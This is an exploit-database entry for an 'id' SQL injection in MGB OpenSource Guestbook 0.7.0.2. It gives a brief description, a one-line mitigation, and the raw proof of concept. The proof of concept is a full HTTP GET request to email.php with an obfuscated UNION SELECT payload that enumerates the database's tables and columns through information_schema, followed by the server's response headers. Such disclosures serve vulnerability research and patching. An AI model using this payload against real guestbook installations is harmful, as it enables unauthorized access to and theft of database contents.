MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection

vendor:

MGB OpenSource Guestbook

by:

Ihsan Sencan

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: MGB OpenSource Guestbook

Affected Version From: 0.7.0.2

Affected Version To: 0.7.0.2

Patch Exists: NO

Related CWE: N/A

CPE: a:m-gb:mgb_opensource_guestbook:0.7.0.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

MGB OpenSource Guestbook 0.7.0.2 – ‘id’ SQL Injection

MGB OpenSource Guestbook 0.7.0.2 is vulnerable to an 'id' SQL Injection vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to sensitive information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.m-gb.org/
# Software Link: https://sourceforge.net/projects/mopzz-gb/files/latest/download
# Version: 0.7.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/email.php?id=[SQL]
 
GET /[PATH]/email.php?id=admin%27++uniOn+selEct+(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%32%2c%33%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2018 15:50:23 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: newentry=rjic8lu5atciee1fsacguocub3; path=/
Set-Cookie: newentry=jd795jb06ni96fqhir90cahhp7; path=/
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8